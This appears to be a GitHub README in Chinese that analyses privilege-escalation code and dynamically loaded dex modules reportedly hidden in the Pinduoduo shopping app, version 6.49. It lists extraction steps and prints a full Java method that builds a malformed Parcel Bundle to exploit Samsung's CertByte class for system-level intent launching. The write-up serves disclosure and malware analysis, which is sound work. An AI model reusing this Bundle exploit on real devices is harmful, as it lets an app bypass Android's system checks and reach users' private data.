拼多多apk内嵌提权代码，及动态下发dex分析

参考「深蓝洞察」的文章：https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw （Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞，实现 0day/Nday 攻击，从而绕过系统校验，获取系统级 StartAnyWhere 能力）

复现流程如下：

下载3月5日前更新的（6.50版本前）的拼多多apk，如6.49版本：
https://com-xunmeng-pinduoduo.en.uptodown.com/android/download/91472728

拼多多-V6.49.0.apk

https://com-xunmeng-pinduoduo.en.uptodown.com/android/download/91472728

标题	值
Author	上海寻梦信息技术有限公司
SHA256	ddaf85e8e86cf08a423629e9cd9ff59b42fd98d7b4dda74d09690544f0bccf35
Package Name	com.xunmeng.pinduoduo
Date	Feb 23th, 2023
Size	27.28 MB
Downloads	173,690
Permissions	87
Language	English
Op. System	Android
Category	Shopping
Requirements	Android 4.0.3, 4.0.4 or higher required
Architecture	armeabi-v7a

拼多多-V6.50.0.apk

https://com-xunmeng-pinduoduo.en.uptodown.com/android/download/91472728

标题	值
Author	上海寻梦信息技术有限公司
SHA256	93958586e0b49515a4393b768ebafc597c5eb6e253b287032e4304b6f4334f98
Package Name	com.xunmeng.pinduoduo
Date	Mar 5th, 2023
Size	27.11 MB
Downloads	173,690
Permissions	87
Language	English
Op. System	Android
Category	Shopping
Requirements	Android 4.0.3, 4.0.4 or higher required
Architecture	armeabi-v7a

virustotal download for 拼多多-V6.49.0.apk

https://www.virustotal.com/gui/file/ddaf85e8e86cf08a423629e9cd9ff59b42fd98d7b4dda74d09690544f0bccf35/details

apktool

https://ibotpeaches.github.io/Apktool/

>java -jar apktool_2.7.0.jar d 拼多多-V6.49.0.apk
I: Using Apktool 2.7.0 on 拼多多-V6.49.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: C:\Users\admin\AppData\Local\apktool\framework\1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes5.dex...
I: Baksmaling classes6.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

拼多多-V6.49.0.apk VS 拼多多-V6.50.0.apk

解压缩

> root@ubuntu1804# ls /tmp/pdd 
com.xunmeng.pinduoduo.AliveBaseAbility.7z

> root@ubuntu1804# 7z x com.xunmeng.pinduoduo.AliveBaseAbility.7z
Scanning the drive for archives:
1 file, 144086 bytes (141 KiB)
Extracting archive: com.xunmeng.pinduoduo.AliveBaseAbility.7z
WARNING:
com.xunmeng.pinduoduo.AliveBaseAbility.7z
Can not open the file as [7z] archive
The file is open as [lzma] archive
--
Path = com.xunmeng.pinduoduo.AliveBaseAbility.7z
Open WARNING: Can not open the file as [7z] archive
Type = lzma
Everything is Ok                             
Archives with Warnings: 1
Size:       497152
Compressed: 144086

> root@ubuntu1804# ls /tmp/pdd 

com.xunmeng.pinduoduo.AliveBaseAbility  com.xunmeng.pinduoduo.AliveBaseAbility.7z

> root@ubuntu1804# mkdir /tmp/pdd/AliveBaseAbility   

> root@ubuntu1804# tar -xvf com.xunmeng.pinduoduo.AliveBaseAbility -C AliveBaseAbility
com.xunmeng.pinduoduo.AliveBaseAbility.md5checker
assets/json.config
vmp_src/mw1.bin
com.xunmeng.pinduoduo.AliveBaseAbility.manifest

> root@ubuntu1804# ls /tmp/pdd 
AliveBaseAbility  com.xunmeng.pinduoduo.AliveBaseAbility  com.xunmeng.pinduoduo.AliveBaseAbility.7z

> root@ubuntu1804# cd  /tmp/pdd/AliveBaseAbility

> root@ubuntu1804# ls /tmp/pdd/AliveBaseAbility 
assets  com.xunmeng.pinduoduo.AliveBaseAbility.manifest  com.xunmeng.pinduoduo.AliveBaseAbility.md5checker  vmp_src

> root@ubuntu1804# tree /tmp/pdd/AliveBaseAbility
.
├── assets
│   └── json.config
├── com.xunmeng.pinduoduo.AliveBaseAbility.manifest
├── com.xunmeng.pinduoduo.AliveBaseAbility.md5checker
└── vmp_src
    └── mw1.bin
2 directories, 4 files

AliveBaseAbility/com.xunmeng.pinduoduo.AliveBaseAbility.manifest

PDD_MANIFEST
VERSION: 1.0.0
KEEP:
assets/
vmp_src/
assets/json.config
vmp_src/mw1.bin
com.xunmeng.pinduoduo.AliveBaseAbility.md5checker

AliveBaseAbility/com.xunmeng.pinduoduo.AliveBaseAbility.md5checker

{
  "component_id": "com.xunmeng.pinduoduo.AliveBaseAbility",
  "version": "1.0.0",
  "md5_list": {
    "vmp_src/mw1.bin": {
      "length": 492328,
      "md5": "569d110753d56aec16b81f8394c5b2d8"
    },
    "assets/json.config": {
      "length": 265,
      "md5": "1939acdf6e35fb9ec4cd0b1192f5993b"
    },
    "com.xunmeng.pinduoduo.AliveBaseAbility.manifest": {
      "length": 136,
      "md5": "44545e6bfaba72bfa7b1cd2a4c3a0e73"
    }
  }
}

AliveBaseAbility/assets/json.config

{
  "file_desc": {
    "vmp_src/mw1.bin": {
      "length": 492328,
      "md5": "569D110753D56AEC16B81F8394C5B2D8"
    }
  },
  "name": "alive_base_ability_plugin",
  "min_sdk_ver": "6.1.0",
  "md5_desc": {
    "vmp_src/mw1.bin": {
      "length": 492328,
      "md5": "569D110753D56AEC16B81F8394C5B2D8"
    }
  },
  "plugin_sdk_ver": "6.49.7"
}

AliveBaseAbility/vmp_src/mw1.bin

# hexdump -C mw1.bin|head -n 10
00000000  1a 0c 06 05 03 00 14 00  37 96 76 e6 16 47 57 27  |........7.v..GW'|
00000010  56 f5 07 57 26 c6 96 36  f5 b6 56 97 a2 00 30 81  |V..W&..6..V...0.|
00000020  9f 30 0d 06 09 2a 86 48  86 f7 0d 01 01 01 05 00  |.0...*.H........|
00000030  03 81 8d 00 30 81 89 02  81 81 00 9d d9 4c cc eb  |....0........L..|
00000040  68 69 91 af 73 65 ed fa  b1 76 67 08 54 b1 52 c3  |hi..se...vg.T.R.|
00000050  54 a5 ef 38 00 39 33 90  9a 0c 60 72 8f 81 dc df  |T..8.93...`r....|
00000060  37 d1 fd 29 43 a3 fd f2  1b 2d b3 b2 aa 88 84 3f  |7..)C....-.....?|
00000070  cd 3c 20 79 6c 04 a3 8e  f7 06 fd ce b0 40 fa 02  |.< yl........@..|
00000080  9c 39 35 e3 9b 70 4e e6  bc e1 8f bc d0 ce 35 bd  |.95..pN.......5.|
00000090  61 12 20 38 77 7d 4f c9  9a 91 b6 22 5f 2d 7f ee  |a. 8w}O...."_-..|

解压apk文件，找到拼多多apk中，提权代码所在的文件位置：
pinduoduo-6-49-0.zip\assets\component\com.xunmeng.pinduoduo.AliveBaseAbility.7z\com.xunmeng.pinduoduo.AliveBaseAbility\vmp_src\mw1.bin 以上是一个加VMP壳的dex文件，脱壳还原出代码，可以找到针对不同手机厂商系统的多个用于提权的漏洞利用代码，胆子相当的大，比如利用三星手机“com.samsung.android.cepproxyks.CertByte”的提权漏洞，代码如下：

// assets/component/com.xunmeng.pinduoduo.AliveBaseAbilitiy
// [Manwei]
// com/xunmeng/pinduoduo/android_pull_ablity_comp/pullstartup/SamsungAlivePullStartup 

Public static Bundle makeBundleForSamsungSinceP(Intent intent){
   Bundle bundle = new Bundle();
   Parcel obtain = Parcel.obtain();
   Parcel obtain2 = Parcel.obtain();
   Parcel obtain3 = Parcel.obtain();
   obtain2.writeInt(3);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(3);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(4);
   obtain2.writeString("com.samsung.android.cepproxyks.CertByte");
   obtain2.writeInt(0);
   byte b[] = new byte[0];
   obtain2.writeByteArray(b);
   obtain2.writeInt(0);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(53);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(1);
   obtain2.writeInt(1);
   obtain2.writeInt(13);
   obtain2.writeInt(72);
   obtain2.writeInt(48);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(0);
   obtain2.writeInt(13);
   obtain2.writeInt(-1);
   int dataPosition = obtain2.dataPosition();
   obtain2.writeString("intent");
   obtain2.writeInt(4);
   obtain2.writeString("android.content.Intent");
   obtain2.writeToParcel(obtain3, 0);
   obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
   int dataPosition2 = obtain2.dataPosition();
   obtain2.setDataPosition(dataPosition2 - 4);
   obtain2.writeInit(dataPosition2 -dataPosition);
   obtain2.setdataPosition(dataPosition2);
   int dataSize = obtain2.dataSize();
   obtain.writeInt(dataSize);
   obtain.writeInt(1279544898);
   obtain.appendFrom(obtain2, 0, dataSize);
   obtain.setDataPosition(0);
   bundle.readFromParcel(obtain);
   return bundle;
}

提权后，就开始瞎搞了，动态下发dex，开始给自己保活，防卸载，然后搞数据，这部分代码比较通俗易懂，比如：
1a68d982e02fc22b464693a06f528fac.dex 读取用户手机上的app使用记录
95cd95ab4d694ad8bdf49f07e3599fb3.dex 读取用户手机的应用通知，这一波各大公司app全灭了吧？

自己去dex目录看吧。

Name		Name	Last commit message	Last commit date
Latest commit History 15 Commits
APK		APK
dex		dex
拼多多-V6.49.0.apk/assets/component		拼多多-V6.49.0.apk/assets/component
README.md		README.md
「深蓝洞察」2022 年度最“不可赦”漏洞.pdf		「深蓝洞察」2022 年度最“不可赦”漏洞.pdf

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Repository files navigation

拼多多apk内嵌提权代码，及动态下发dex分析

复现流程如下：

拼多多-V6.49.0.apk

拼多多-V6.50.0.apk

virustotal download for 拼多多-V6.49.0.apk

apktool

拼多多-V6.49.0.apk VS 拼多多-V6.50.0.apk

AliveBaseAbility/com.xunmeng.pinduoduo.AliveBaseAbility.manifest

AliveBaseAbility/com.xunmeng.pinduoduo.AliveBaseAbility.md5checker

AliveBaseAbility/assets/json.config

About

Uh oh!

Releases

Packages

jas502n/pin-duo-duo_backdoor

Folders and files

Latest commit

History

Repository files navigation

拼多多apk内嵌提权代码，及动态下发dex分析

复现流程如下：

拼多多-V6.49.0.apk

拼多多-V6.50.0.apk

virustotal download for 拼多多-V6.49.0.apk

apktool

拼多多-V6.49.0.apk VS 拼多多-V6.50.0.apk

AliveBaseAbility/com.xunmeng.pinduoduo.AliveBaseAbility.manifest

AliveBaseAbility/com.xunmeng.pinduoduo.AliveBaseAbility.md5checker

AliveBaseAbility/assets/json.config

About

Resources

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Packages